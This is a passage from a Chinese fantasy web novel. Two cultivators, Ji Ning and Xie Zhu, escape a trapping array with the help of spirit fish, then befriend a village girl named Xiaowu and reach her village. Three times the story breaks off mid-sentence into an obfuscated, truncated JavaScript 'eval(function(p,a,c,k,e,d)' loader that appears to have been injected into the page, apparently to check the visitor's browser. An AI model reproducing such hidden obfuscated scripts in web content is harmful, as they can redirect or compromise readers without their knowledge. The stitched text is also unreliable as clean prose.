而如今,这张看惯了的脸旁,还倒映着个明媚的女子身影,那身影正等着他,要和他一起破阵而出。 谢诛最后一次俯下身子,将手伸进冷若刺骨的寒潭水中,搅碎了自己的倒影,像是杀死了曾经作为剑奴的自己。 然后,毫不留恋的转身,踏上了那座鱼桥。 … 谢诛和纪宁携手踏上了那座灵鱼们用自己身躯搭起来的鱼桥,一步步来到了阵法的最高处。 走动的每一步,谢诛都在催动自己体内的诛邪剑,源源不断生出的剑意经由经脉来到掌心,等走到阵法顶端时,谢诛手中已经握着一把纯粹由灵力和剑意凝聚而成的长剑。 抬头看天,此时星辰渐隐,而红日未升,远处天幕之中,一道绯红叠着一抹薄紫,这等朦胧交界之时,正是阵法屏障最薄弱之刻。 谢诛凝起灵观,寻找阵法中灵力游动最稀薄的地方,在抓到破绽的瞬间,长剑刺出洞穿。 因被诛邪剑意贯穿,屏障疯狂吸收着寒潭之中的灵气,光芒一闪,又变成了种运转方式,转成碧青色的屏障偏寒偏水,谢诛本身的剑气也偏利偏冷。 诛邪剑意虽可破万物,但遇到这困龙屏障,就像冰斩开了水,虽有一瞬缝隙,却一边被吸收,一边被融合。 见此情景,纪宁笑道:“我来助你!” 随后便握住谢诛的手,炽热滚烫的火灵力顺着相握之处流淌,在谢诛凝出的灵力剑锋上燃烧起来。 燃烧起来的剑意,蒸起团团雾气,在屏障上破开更大的缺口。 阵法开始震动,但仍在维持,未能倒塌。 就在此时,刚刚组成鱼桥最末尾的那只灵鱼,顺着鱼桥游了上来,游到谢诛和纪宁的身边。 随后头也不回的冲进那破开的阵法缺口之中,引爆自己体内的灵力,产生的冲击将阵法的缺口又破开的更大了些,阵法也随着这声爆响而明灭不定。 然后,越来越多桥尾的灵鱼们沿着最开始那条灵鱼的路径游弋而上,齐齐冲进那越来越大的阵法缺口之中,自爆而亡。 在纪宁和谢诛的联手攻击和灵鱼不断的自爆攻击中,屏障颜色令人眼花缭乱的明灭变换,灵力流动的方式也几经更替,但还是抵住了越来越大的冲击,只产生了些裂纹。 一条两条三条……数不清多少条灵鱼投入那缺口,接连不断的爆响中,谢诛的眼眶湿润,泪水不自觉的滚落。 就在鱼群减少,即将无法支撑他们站在空中时,突然一声前所未有的巨响,摇摇欲坠的阵法之上,裂纹密布。 纪宁见状,抽空自己体内最后一丝灵力,暴烈的火焰顺着谢诛的剑尖涌出,从那被洞穿的裂隙处蔓延,一拥而上,顷刻间吞没了整个阵法。 只听一声脆响,轻微的稍不留神就会错过,但此地的所有生灵都知道,这个困了谢诛和灵鱼十几年的阵法,终于破了。 阵法破开的瞬间,寒潭底部突然现出一个地下通道,泉水从各个方向涌入汇聚,伴随着雷鸣般的轰隆声,形成一道深不见底的漩涡。 破绽在天上,而通路在水下。 冰冷刺骨的寒潭水和吞食灵力的噬灵鱼,共同组成了一道比困龙阵法更坚固的屏障,难以下潜,难以驻足,难以发现。 原来这就是多年以来,谢诛难以寻到出口的原因。 此时太阳终于破开云雾,跃出地面,一轮耀眼刺目的红日挂在空中,染得漫天霞彩,这正是谢诛一天中最喜欢的时刻。 而水中倒映的是一点柔和暖阳,在波光粼粼的水面上微微颤动,将漩涡都点燃。 共沐日月星光,身披晨曦暮色。 纪宁和谢诛对视一眼,相视而笑,手牵着手,一起向下跳去。 漫天彩霞尽在水, 然后他们向太阳坠去。 … 7. 青山湖畔有小五 跌入寒潭,撞碎满池晨晖。 纪宁和谢诛被卷入潭底的漩涡之中,漩涡之下是湍急的地下暗河。 为了不被冲散,两人紧握着双手,顺着水底暗河的流势,携手向前游去,而仅剩的几只灵鱼也从天上跃入水中,跟在他们身后,一起奔向未知的自由。 两人在昏暗浑浊的水中沉浮半点不的喘息,只能勉强用灵力维持住呼吸。 过了不知多久,纪宁感受到水流变缓,隐隐看见上方有光亮,想来便是出口。 因在水中难以交流,纪宁将被谢诛紧握的那只手向自己这边拽了拽,用另一只手指了指上面,示意自己先游上去看看情况。 谢诛点了点头表示同意,纪宁便放开两人紧握的手,向上方光亮处游去。 破开水面,纪宁迫不及待的深吸了一口气,虽然曾无数次主动身陷险地,但再次呼吸到新鲜空气的喜悦还是无可比拟。 随后映入纪宁眼中的是秀美青山,澄澈湖泊,还有湖边一堆散乱的看起来正在洗涤的衣物和…… 一个正举着弓箭,颤颤巍巍的小姑娘?! “你们是什么人!为什么会突然出现在水里?”小姑娘绷紧弓弦,尽管声音发抖,还是努力提起气势,高声喊道: “再不说,我……我就放箭了!” 纪宁看着那只能堪堪称得上朴实的木弓,实在害怕不起来,甚至升起了股笑意。 可再看看哪怕害怕也牢牢握住弓箭的小姑娘,内心又涌起一丝爱怜和敬佩,不由得正色道: “我们是不小心卷入河底暗流,被裹挟来此的,姑娘你别害怕。” 听了这话,那湖边的小姑娘虽然没有放下弓箭,但肉眼可见的松了一口气。 小姑娘正准备再问几句,却突然瞥见纪宁的身后渐渐浮起一个湿漉漉的黑影。 黑发蜿蜒潮湿,白衣森冷滴水,那头发上还挂着不知名的水草,竟是个黑发覆面的水鬼! 心情一紧一松之下,小姑娘忍不住惊呼出声:“鬼啊!” 惊呼之下,小姑娘手中的箭尾兀的就松了,斜斜朝那水鬼射去。 而那在背后浮起的“水鬼”正是跟着纪宁游上来的谢诛。 眼看着箭朝自己飞来,谢诛只是不紧不慢的拨开了挡住视线的头发,剑意从指尖发出,轻轻朝箭来的方向一点,那木头箭霎时间便四分五裂。 亲眼目睹“水鬼”一挥手,箭便碎成木头渣的小姑娘发出了更大的尖叫声。 “别怕别怕,这不是水鬼,是和我一起被卷入水下的同伴!” 纪宁用余光扫见了这一幕,连忙出声安抚小姑娘,却在回头看见谢诛湿发覆面,头上还顶着不知从哪来的水草的“水鬼”形象后,猝不及防笑得呛出声来。 谢诛默默拿下了头顶的水草,看着越笑越大声,越笑越放肆,怎么也停不下来的纪宁,忍不住幽怨的斜睨了她一眼。 “怎么不是水鬼?他不晓得使了什么鬼把戏,指一下就把我的箭弄碎了!” 湖边的小姑娘明显不信,看着大笑不止的纪宁再次握紧了弓箭。 “莫哄我!你不会是和水鬼联合起来骗我的吧!” 纪宁连忙再三保证他们绝不是水鬼,又是发毒咒又是对天起誓,但眼看着小姑娘越来越紧张,甚至要再次搭弓射箭,纪宁只好暂时闭嘴。 那小姑娘谨慎的持弓对着纪宁和谢诛两人,想要后退撤离,却过于紧张,没能注意脚下,一不小心踩在青苔上,砰的一声摔进湖里。 刚一碰到水,那小姑娘就像是碰到了热油,拼命地扑腾起来,高呼救命。 纪宁此时正靠灵力悬停在湖心,虽不知湖边深浅,但一看这情景,就知道这小姑娘是个十足的旱鸭子。 情急之下,纪宁也顾不得隐藏修士身份,一股灵力运出,顷刻间来到湖边,将小姑娘拦腰从水中拎起,而与此同时,谢诛也发出道寒冰灵力,在湖边冻住了几片可供攀附的浮冰。 纪宁将小姑娘用灵力托着,稳稳放在了湖边坚实的土地上。看着已经站在安全的岸边,但仍呆愣惊魂的小姑娘,有些无奈的说道: “不会凫水,怎么还来这种大湖边洗衣服?下次还是去浅一点的小溪里洗吧,那样比较安全。” 还有点呆愣的小姑娘听了这话,顺嘴回答道: “娘最近腰疼,我想早早洗完,回去帮她做饭,这边比较近……” 说完才反应过来,自己刚不小心落水,又被不知什么“仙法”救到了岸边,不由得震惊的“你你你”了半天,最后憋出来一句:“你,你们是仙人?” 纪宁觉得这姑娘实在可爱,不由得笑着解释道: “不瞒你说,我们其实是修道之人,此番进山寻宝,不幸遇难,这才被河底暗流卷来此处,并无恶意。” 而此时身后的谢诛也已经把杂乱的湿发尽数抚到了脑后,露出一张唇红齿白,眉清目秀的少年脸来。 纪宁给那湖边姑娘指了指谢诛的脸。 “不说他刚刚也想帮你,单看这脸,也不像是水鬼吧?” 那姑娘看了看纪宁,又左右看了看谢诛的脸,这下是彻底信了。 “原来你们是修道的仙人!怪不得一挥手我的箭就碎了。” 再看看仍然泡在水中的两人,小姑娘突然觉得有些不好意思,竟然就这样让两位仙人在水里泡了这么久,赶忙说:“两位仙人快上来吧!” 纪宁起身向岸边走去,笑着跟那岸边的姑娘开玩笑:“这下成了仙人,不是水鬼啦?” 笑完还有心思压低声音,对着谢诛打趣道:“水鬼大人,这可是你第二次被发现原型了,下次可一定要藏好啊。” “真不是水鬼。”谢诛同初见时一样回道,只是这次略微有些心虚。 就在两人即将上岸前,谢诛感觉有什么东西绕着自己的腿游了一圈,随后有种熟悉的湿滑感碰了碰自己还浸在水中的手。 低头一看,果然看见一抹淡红色的影子。 “小红!” 谢诛忍不住有些开心:“真好,你也出来了。” 在这片温暖碧湖中,小红看起来很惬意的摆了摆尾。 经过昨夜的奋力破阵,小红已经没那么“红”了,鱼身内储存的灵力消耗过多,此时只留有一些淡红的灵力丝线。 而向水中看去,还有数十只灵鱼跟在小红身后,也跟他们一起逃出了生天。 但跟曾经满潭底栖息的灵鱼相比,现在幸存的灵鱼十不足一,谢诛想到这里,忍不住有些落寞。 小红好似也感知到了此刻谢诛的心情,带着剩下的灵鱼们绕着纪宁和谢诛游了一圈又一圈,像是在庆祝,又像是在告别。 随着它们的游动,灵鱼们体内存储的精纯灵力化作一条条小小的鱼状光点,游入了纪宁和谢诛的身体,随着这些光点的融入,两人消耗的灵力得到了补充,连疲惫也一扫而空。 红日的辉光洒在水面上,激起一片波光粼粼,重又变回透明的灵鱼们在这光芒之中熠熠生辉。 到了分别的时候了。 纪宁一一点过每一条灵鱼的头顶,轻声说道: “谢谢你们,小红和所有的灵鱼。” 而谢诛依依不舍的将已经变得透明的小红抚了又抚,最后也终于下定了决心,说道: “再见啊,小红!” 纪宁和谢诛挥着手向灵鱼们告别,在二人和晨晖的目送下,小红领着族群越游越远,越游越自由,雀跃地跳出水面,又一猛子扎入水里,潜入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好啦好啦,怪我最开始没说清。” 然后响亮的拍了拍手,见成功吸引了小五的注意力,便故意用吆喝的语气大声喊道: “瞧好了!姐姐给你变个戏法!” 只见纪宁一个响指打出,一束灵力火苗猛地绽放,火苗飘向谢诛的胸前,却不像昨晚寒潭中那样炽热危险,只是带着温和的暖意,倏然爆开扩大。 明明是火焰,却像流水一样笼罩住谢诛全身,几息之后又悄然消失。 而此时谢诛的衣服和头发已经尽数干了。 白衣飘飘,一头秀发光泽的披散在脑后,又是一个光鲜美少年。 “怎么样?这一手衣服速干戏法不错吧?这可是姐姐我钻研多年的绝技!” 向小五展示了这“戏法”的无害后,纪宁又对同样因落水而湿漉漉的小五施了一遍,这下三个人都干净整洁的站在了大地之上。 “好美啊……”小五突然出声说。 纪宁对小五的话摸不着头脑,左看右看,最后端详着谢诛的脸说:“的确是张好看的脸。” “不不,我不是说谢大哥,我是说纪姐姐你的法术。那火焰,好美啊。” 小五扣了扣头皮,努力组织着语言说:“跟平时烧饭的火一点都不一样,看起来……看起来……” 小五思来想去,终于一拍手,想到一个词: “看起来好温柔!” … 8. 小五来自凤家村 互通了姓名后,三人也算是认识了。 小五来到湖边,将先前因受惊而散落的衣物收了起来,又重新洗了洗,谢诛则接过洗好的衣服,使劲儿拧干,然后交给纪宁,纪宁再操控火灵力一烘,衣物很快变得柔顺干燥。 三人接力,不一会儿,干净整洁的衣服便叠的整整齐齐,放进了小五的木盆里。 按理说此时他们该跟小五告别,然后启程前往藏书阁了。 但问题是,纪宁根本不知道此时他们身处何方。 在水下时,被暗流裹挟着向前,蜿蜒曲折,不辨东西;而上了岸,这一片青山连绵不绝,重峦叠嶂,不知南北。 纪宁首先需要确定他们的方位,之后才谈得上赶路,便转头向身边的小姑娘问道: “小五,你们这儿是哪儿啊?” “我叫凤小五,这附近当然是凤家村呀!”小五理所当然的回答。 凤家村…… 纪宁努力回想自己先前看过的百兵谷周边地图,确信自己没有在地图上见过这个村子,而谢诛刚从困龙阵中脱出,怕是连东南西北都分不清,纪宁只得换了种问法: “小五,你有没有听说过百兵谷?” “那是什么?是你们仙人的门派吗?” “哈哈,差不多吧,不过他们主要是打造兵器的。”纪宁扶了扶额,又换了个问题问道: “那离这里最近的镇子叫什么?大概要走多少里?” “这……”小五犹豫着思考了会儿,才回答道:“镇上就是镇上啊……难道还有名字的吗?” 小五挠了挠头又说:“我还没去过镇上,但听曾经去赶集的爹爹说,镇上离这里远着哩!加上山路难行,足足要走上好几天!” … 当今天下,皇家与仙门共治。 百兵谷作为西南大派,自然也管辖着山门周边的所有土地村镇。 不论人口多寡,地方大小,只要有活人,就要定期给百兵谷上贡。 哪怕结伴逃跑,藏在深山,也躲不过百兵谷的搜查符,更别说还有众多外门弟子,就等着靠这差事赚点外快,那眼睛更是尖的离谱,不放过一点儿碎银。 而看小五对百兵谷一问三不知的态度,至少这凤家村,还没被百兵谷征收过供奉,不在百兵谷的管辖范围内。 根据名叫小五的姑娘的回答,再结合自己顺着暗河漂流的时长,纪宁估算,此时他们距离百兵谷,至少也有百里了。 再说,有了之前自己偷剑的“插曲”,百兵谷还不知要额外花费多少人力物力,才能将那广邀宾客、开幕在即的赏剑大会,办得更加隆重,挽回脸面。 纪宁在内心暗笑:估计沈铸原本还希望借此来震慑宵小,重整威严,现在全被自己毁了,表面云淡风轻,背地里还不知怎样焦头烂额。 想来沈铸就算察觉到他们破开禁制,逃了出来,一时半会儿也腾不出手来追击。 想到这儿,纪宁便放下心来。 他们刚刚逃出生天,虽然灵力在小红和灵鱼们的馈赠下得到了补充,但精力一时却难以恢复,急需一个安全的地方休整,也得补充点路上的干粮。 之前不觉得,现在察觉到安全后,纪宁觉得自己饿得能吃一头牛! 既然小五说不清怎么去镇上,那村子也行,有吃有睡就行。 看着身前睁着大眼睛等着自己的小姑娘,纪宁试探着问道: “小五,我们落难至此,想找个地方吃点东西,歇一歇,不知你家可否方便?” 纪宁又补充道:“当然,不会白吃白喝的,我可以……” 本想说可以付钱的纪宁摸了摸原本放着钱袋,如今却空空如也的衣兜,早已不知是落在密林奔逃途中,还是掉到寒水潭里了,只能尴尬的挠了挠头,小声道: “我可以干活补偿。” “我也是。” 见纪宁都这么说了,一直站在旁边,好奇的看着两人交谈的谢诛也应和道。 “怎敢劳烦仙人!”小五连忙摆手。 “再说你们还救了我,这是应该的!刚好我爹爹进深山打猎去了,怕是好几天都不会回来,家里倒的确有空房,只是……” 小五有些不好意思的说: “只是家里穷,没什么好招待你们的,不知你们介不介意?” “怎么能算救呢?要不是我们突然冒出水面,你也不会被惊吓到落水,那是我们应该做的。” 纪宁拍了拍小五的肩膀说: “你肯收留,我们才要感谢呢!小五你放心吧,只要给个睡觉的地方,伙食什么的我们可以自带!” 小五怀疑的看了看两人空空如也的背后,既没有行囊也没有背篓,哪里能装下吃的? 纪宁笑笑:“现在没有,但我们可以现打呀。小五,借你的弓箭一用。” … 刚从湖底游上来时,纪宁便敏锐的察觉到,这片碧湖灵力充沛,是个天然的聚灵之所。 被充沛的灵力吸引,这周围栖息着不少灵兽,最多的是种被称为“扑朔”的长耳兔,不仅肉质鲜美,吃了还能增长灵力,加强体质,对普通人更是大补。 纪宁打的就是这扑朔的主意,她准备抓几只扑朔交给小五,当作自己的伙食费。 纪宁本想直接用火灵力攻击,但灵火灼热,若控制不好火候,到时候不仅皮肉尽焦,没法入口,还有放火烧山的嫌疑。 再者,纪宁刚刚想起来,这些扑朔不仅速度迅捷,灵敏多疑,还异常胆小,对灵力和杀意非常敏感。 周围只要稍有动静,扑朔就会不管不顾撒腿便跑,只留下扬起的土灰,让人“望尘莫及”,追都追不上。 别说一般人,就是修士,若不能控制好灵力,使其收敛于身,气不外泄,也很难抓到。 但凡事有利就有弊,有长就有短,灵兽也不例外。 这些扑朔虽说对灵力异常敏感,对俗物凡铁却没什么感应,所以纪宁向小五借了弓箭,准备用弓箭远程攻击试试。 纪宁闭上眼睛,开启灵观,收敛住自己身周外溢的灵力波动,凭借出色的灵气感知,很快就发现不远处,层层掩盖的草丛下,有几只扑朔正怡然自得的吃草。 纪宁利落的挽弓射箭,两支连发,只听“嗖嗖”两声,箭无落空,两只肥壮的扑朔应声倒地。 纪宁走到草丛后,将那两只被箭正中眉心的长耳兔拎了起来,向小五和谢诛展示她的“收获”。 谢诛见纪宁成功打了两只兔子,便有样学样,也想接过弓箭试试。 纪宁也想看看谢诛的本事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不催动诛邪剑时,谢诛身周没有一丝灵力或杀意外漏,所以才能在毫不惊动扑朔的情况下,直接将它们抓住。 纪宁拎着两只死兔子的耳朵交给小五,说:“算是我今天的伙食费。” 谢诛拎着两只活兔子的耳朵,也有样学样的对小五说:“算是我今天的伙食费。” 看着眼前肥壮的四只兔子,小五大喜。 四只兔子!若是好好处理,腌好晒干,够她和家人吃很久了,但小五还是理智的想起: 这是纪宁和谢诛打来的,总不能收了兔子,却用家里的粗茶淡饭招待客人。 所以小五虽然不舍,也还是大方的说: “好!回去我给你们做烤兔肉!” 想来仙人应该不需要兽皮,至少兔皮可以留下来,给小妹做身过冬衣服,小五在心底细细盘算。 … 一切都准备妥当,终于该启程去凤家村休息了。 小五在前面带路,纪宁和谢诛跟在身后,不一会儿,三人便走出密林,来到蜿蜒曲折的山道旁。 山道旁立着棵梨花树,不知在这儿默默站了多少岁月,粗壮高大,冠如华盖。 正是梨花盛开的季节,满树雪白,飘着股幽香。 站在梨花树旁,向下望去,只见几抹青灰错落,点缀在群山苍翠之间,小山村中炊烟袅袅,在晨雾中若隐若现。 小五兴奋的将那幅风景指给纪宁和谢诛看:“那就是我们凤家村!” 小五雀跃的加快了步伐,一行三人向山下的凤家村走去。 而在无人看到的阴影处,几道蒙面的暗影脚步匆匆,瞬息之间,从三人曾停驻过的那颗梨花树下掠过。 … 9. 此生的第一天 小五拎着四只肥兔子,走在最前面带路,谢诛抱着小五放满衣服的木盆,走在中间跟随,而纪宁仍然穿着她那身破烂衣服,走在最后,一边走一边习惯性观察着四周。 通往凤家村的山道旁,有几处树枝被攀折得乱七八糟,看着不像是猎户进山留下的。 纪宁正准备问问小五,是不是他们村特有的习俗,一道粗犷响亮声音就打断了她的思绪。 “小五你回来啦!” 原来他们已经走到了村口。 一个在自家前院砍柴的粗犷大叔亲切的招呼着小五,可还没等大叔扬起笑容,就又看见了小五后面跟着的两人,疑惑问道: “怎么还带的客人!这山沟沟里,怎么碰到的?” “黎叔!” 小五高兴的招手,向这位“黎叔”介绍起纪宁和谢诛: “我刚去大碧湖边洗衣服,不小心掉进水里了。是这两位仙人在湖边救了我,我请他们来我家歇歇脚。” 纪宁抱拳行了一礼,又扯过一旁的谢诛,对这个“黎叔”说道: “我们是四处游历的修士,在山里不慎迷路,有幸得小五帮助。只在此地叨扰一晚,休整一番,补充些物资就走。” “哦哦。” 正在砍柴的大叔终于放下了斧头,却还是有些怀疑的打量着纪宁和谢诛。 在这位“黎叔”眼里,只看见一个穿着破衣烂衫,神采奕奕的少女,带着一个白衣飘飘,脸蛋俊俏,却一脸呆愣,抱着个洗衣木盆的少年,跟在小五身后不知道要干嘛。 这样怪模怪样的两人,让“黎叔”心里不自觉嘀咕:小五莫不是被骗了吧? 但“黎叔”还是很有些行走江湖的经验的,没有直接说出自己的怀疑,而是准备先支开小五。 “黎叔”憨厚一笑,对着小五说: “还不快回去跟你嬢嬢说一声,客人来了,快点准备些好饭好菜!” 而小五听了这话,笑的牙都咧出来了。费劲的将手中四只肥兔子一齐高高举起,向黎叔展示道: “这是两位仙人打来的!我这就送回家去给嬢嬢处理,今天吃烤兔肉!” 说完一溜烟就跑了。 留下空手的纪宁和抱着木盆的谢诛站在原地,四目相对,尴尬不已。 这位小五口中的“黎叔”,没急着“盘问”这两个莫名其妙来到村子的异乡人,而是从腰间取下个葫芦,猛地灌了几口,才说道: “谢谢你们救了小五一命,这孩子心善,见谁都想帮。” 随后话音一转。 “虽然我们风家村是个山沟沟里的小村,但我老黎也不是没见过世面的,修士什么的,不就是用些灵力法术嘛!也没有三头六臂。 小五他爹不在,可还有我这黎叔呢,你们出去打听打听,都叫我凤家一条龙!我可不是吃素的。” 老黎扬了扬拳头,又说: “不管你们是谁,既然来了我们凤家村,那就好好做客,可别想着欺负小五一家!” “那是自然,您放心吧。” 纪宁知道,自己和谢诛现在看起来的确很“可疑”,解释再多也不如实际行动让人安心,便顺着话头应承下来,再次抱拳回了一礼。 一旁的谢诛也有样学样,想学着纪宁抱拳,却碍于手上还拿着小五的洗衣木盆,只能不伦不类的单手行了一礼。 到这里差不多就该走了,但老黎的酒葫芦没有扣塞子,微风吹过,酒香顺着空气钻进纪宁和谢诛的鼻子。 闻着这股清甜温润的酒香,又饿又渴,累了几天的纪宁虽然有点馋酒,但还是面不改色,只在心里思忖: 有股梨子味儿,想来是西南这边流行的梨酒,闻着酒味还有点淡,估计是酿的时间不够。 而在困龙阵长大,昨夜才第一次吃到糖的谢诛就不如纪宁这般“淡然”了。 既没见过梨也没见过酒的谢诛,闻着这股清甜,还以为是什么特别的蜜糖,吸了吸鼻子,谢诛直接对那“黎叔”开口问道: “可以给我尝尝你葫芦里的东西吗?” 说完又想起书上说,想要别人的东西需要用钱来买,谢诛又补充道: “我现在没有钱,但可以帮你做事儿来换。” 老黎有些呆愣,没想到一个自称的“修士”,竟然想尝他这自家酿的浊酒。 那些修士仙人不都是饮仙露食琼浆的吗?这两个骗子功课做得不到家啊。 “呃,没事儿没事儿,送你喝。” 正准备递出酒壶的老黎却又想起,这个古怪少年说可以帮自己做事儿,难道不是骗子,还真有什么仙法? 老黎忍不住问:“你能帮我做什么事儿?” 谢诛看了看老黎正在砍的柴火,将小五的洗衣木盆郑重的交给纪宁保管,然后走上前去。 谢诛没拿斧头,也没用剑法,只是站在原地,伸手凭空划了划,诛邪剑意从指尖发出,被谢诛精准控制着砍向地上。 几道白光闪过,那地上堆叠的木头转眼间就被切成了长短粗细一致的细柴。 谢诛又观察了一下屋檐下堆着码好的柴火堆,挥手使出灵力,将自己砍好的细柴按照老黎家屋檐下的堆法,一一码好,这才回头对着老黎说: “我能帮你砍柴。” 而老黎已经呆愣在原地。 虽然和老黎想象中“上天入地”的仙法不一样,但谢诛这一手还是震惊到了他。 老黎心悦诚服的拱手将酒葫芦让出,却突然像是想起了什么,扔下一句“仙人稍等”,便急急忙忙跑进屋去。 等待中,纪宁好奇的问谢诛: “怎么突然想尝尝酒了?” “那就是酒?”谢诛却也错愕茫然: “我不知道啊,我还以为那是什么蜜糖水,才想尝尝的。” 急急奔入后屋的老黎很快又急急奔了回来,手里拿着一个酒坛,上面缠着红绸,看起来有些年头了,保管的很是精心。 “仙人!仙人!这是老黎我珍藏的好酒!你别喝那葫芦里的了,快尝尝这个!” 老黎满面红光,兴奋的拿来三个碗,给谢诛纪宁和他自己,一人倒了一碗。 纪宁有些好笑的看着一下子变得热情起来的老黎,知道有了谢诛露的这一手,自己就不用再想办法证明两人的“无害”了。 刚好,纪宁的确有些馋酒,便干脆的拿起酒碗,和老黎碰了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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临走前,老黎又给自己倒了碗梨酒,然后便将剩下的整坛都送给了纪宁和谢诛,虽然一脸肉痛,却不许两人推辞。 两人只好拿着酒坛,等走出一段后,才想起来他们都忘了问小五家到底住在哪。 纪宁和谢诛只得在村中一边走,一边问。 村口出门打水的男人一脸警惕: “你们哪里来的?找小五干什么?” 村里蹲着择菜的妇人一脸困惑: “没听说小五家有你们这样的亲戚啊?还有大闺女,你衣服怎么这么破,快过来,婶子给你补一下!” 纪宁每次都要解释一番: “是修士,得帮助,来借宿,很快走。” 但人们的神色仍是警惕困惑,纪宁只好指使谢诛再表演一番砍柴绝技,又亲自上阵,聚几团灵力火苗飞来飞去,给众人“亮一手”,以此来证明两人的身份。 好好的修士,活像两个杂耍。 幸好这招非常有用,一般在看到纪宁凭空聚出火苗后,人们就改口大呼“仙人”了,随后村民们会热情的帮忙指个方向。 但往往沿着那方向没走多久,就会遇到一个岔路口。 这村子不大,岔路却多,只得找人再问。 问了好几次,两人终于走到了村中央。 10. 是谁在敲门? 村中正立着一颗粗壮的梧桐树,冠如华盖,撑起一片绿荫,瞧着至少已经有百年了。 一群小孩正围在树下,仰头不知道在看什么,看见他们来了,齐齐围上来恳求: “大哥哥大姐姐,帮个忙吧!” “我们的毽子踢到树上头了,取不下来……” “狗娃子说他能拿到,爬上去后不敢下来了!” 小孩们叽叽喳喳的围着纪宁和谢诛,你一言我一语的说着他们的请求。 纪宁仰头,看见了那挂在树梢最高处的鸡毛毽子,还有正扒着树干,嘴巴瘪着,就快哭出来的毛头小子。 毛头小子向下看,纪宁向上看。 一双神采奕奕的双眸和一双要哭不哭的泪眼正巧对上。 纪宁噗嗤一声笑了出来,干脆利落的撂下一句: “好嘞,你们等着!” 纪宁腾空跃起,足尖在树干上点了两下,轻轻巧巧的飞上了树梢,拿下了那挂在树枝顶端的毽子。 然后一个翻身,落在了那上不去,下不来,泪眼朦胧的毛头小子面前。 纪宁站在一根细弱的树枝上,伸手拎过那小子的后衣领,笑着商量: “我数三二一,到一你就松手,我把你拎下去,怎么样?” 那毛头小子吸了吸鼻涕,带着哭腔说: “好姐姐,你能不能抓着我胳膊啊。我这衣服打了不少补丁,你用劲一拎,衣服要是裂开了,那我岂不是就要摔死了呜呜呜……” 纪宁有些哭笑不得: “狗娃子是吧?倒是挺聪明,就是想的有点多。” 她当然不是要靠蛮力,真把这毛头小子“拎”下去,只是要把灵力附在他身上,让两人都安稳落地。 “既然你害怕,那抓胳膊也行。” 纪宁抓住狗娃子一边的胳膊,将看不见的灵力缠在了小孩全身和自己脚下。 “三,二,一!” 话音刚落,狗娃子紧闭着眼睛,松开了手脚,纪宁趁机一跃而下。 狗娃子本以为就算不会摔死,也至少要摔个屁股蹲,却没觉出下落时脑袋一懵的坠落感,只觉得一阵风轻柔的环绕在自己身周,等再睁开眼睛时,脚下已经是坚实的土地。 树下的孩子们全都欢呼着围上来,将狗娃子和纪宁簇拥在中间。 狗娃子仰头看了看,只见纪宁将取下的毽子放在他手中,然后对着他鼓励的笑了笑,狗娃子又左右看了看,只见小伙伴们也纷纷凑上来,说着“姐姐厉害”,“狗娃子也厉害”之类的话。 狗娃子刚刚在树上下不来时,还能勉强憋住的眼泪,此时再也憋不住,哇的一声大哭起来。 不明真相,跟在孩子们身后也围上来的谢诛,一手拿着木盆,一手拿着酒坛,有些疑惑的看着明明安全落地,却大哭起来的狗娃子,将询问的眼神递向纪宁。 纪宁无奈的摊了摊手,示意这可不是她的问题。 最后终于止住了哭泣的狗娃子,有些不好意思的用袖子擦了擦脸,知道纪宁和谢诛要去小五家后,自告奋勇,亲自带路,将他们带到了小五家门口,省了他们一问再问的功夫。 … 几间茅草屋外,木头篱笆错落有致。 放眼望去,柴火整齐码放在屋檐下,院里土地也干净平整,虽然简陋却很整洁,那里就是小五的家。 纪宁和谢诛终于到了小五家门口,正撞上被母亲撵出来接“仙人”的小五本人。 “纪姐姐!谢大哥!你们怎么找到我家的?” 小五又惊又喜,随后赶忙接过谢诛手里自家的洗衣木盆,不好意思的低下了头: “是我不好,光顾着给嬢嬢送兔子,忘了给你们带路。” 纪宁摸了摸小五的头说: “不妨事儿,我们这不是找过来了。” 小五的母亲听到动静,从屋里迎了出来。 小五的母亲得知了小五落水被救的事后,对着两人千恩万谢,又忍不住抓住小五唠叨叮嘱,说些“别去湖边洗衣服了”,“我还忙的过来”云云。 那是个笑起来有酒窝的干练女人,背后还背着个睡着的小孩子。衣服虽然有补丁却洗的很干净,头发盘的一丝不苟,只在发间插着一只漂亮的木头簪子。 那木头簪子被细致的雕出几朵梨花,简朴漂亮。 女人见纪宁多看了几眼自己的簪子,不好意思的笑了笑说:“这簪子简陋,恩人别见怪。” “很漂亮,这几朵梨花雕的格外生动。” 听了纪宁这话,女人脸上泛起股羞涩。 “哎,是小五她爹做的,他闲时就爱做这些小玩儿意,叫恩人见笑了。” 虽然脸上做出嫌弃的样子,但眼里却是藏不住的幸福。 又叙了几句闲话,看见纪宁身上的破烂衣衫,小五母亲委婉的表示自己可以帮忙缝补。 获得同意后,小五母亲便进屋,取了件自己的干净衣服递给纪宁,等她换下后,小五母亲又收起那换下的“破布”放好,这才进屋做饭去了,走前叮嘱小五帮忙招待好客人。 小五先带纪宁和谢诛在院中坐下,然后把木盆放回原位,将里面洗好烘干的衣服也拿出来收好,之后又去了厨房,从里面翻出来把小刀,又拿了点盐和花椒,准备处理一下纪宁打来的兔子,一会儿烤兔肉吃。 而院子里,纪宁和谢诛坐在石桌旁,正打开酒坛,拿了碗,准备再喝几口。 从厨房出来的小五看见了这坛酒,兴奋的问道: “这是黎叔家的酒吧,你们怎么拿到的?我们村的黎叔最会酿酒了!” 说着又翻了翻酒坛上的红绸说: “这估计是四叔珍藏了很久的好酒呢。” 纪宁倒出来一碗,端给小五喝。 闻着酒的香气,小五眼前一亮: “原来是梨酒!爹爹每次出门前,都会来上一碗梨酒呢。” 小五仰头就干了半碗,笑呵呵的说: “俗话说得好,喝了梨酒不分离!纪姐姐,谢大哥,你们也快尝尝!” “这个寓意好!咱们一起来一碗!” 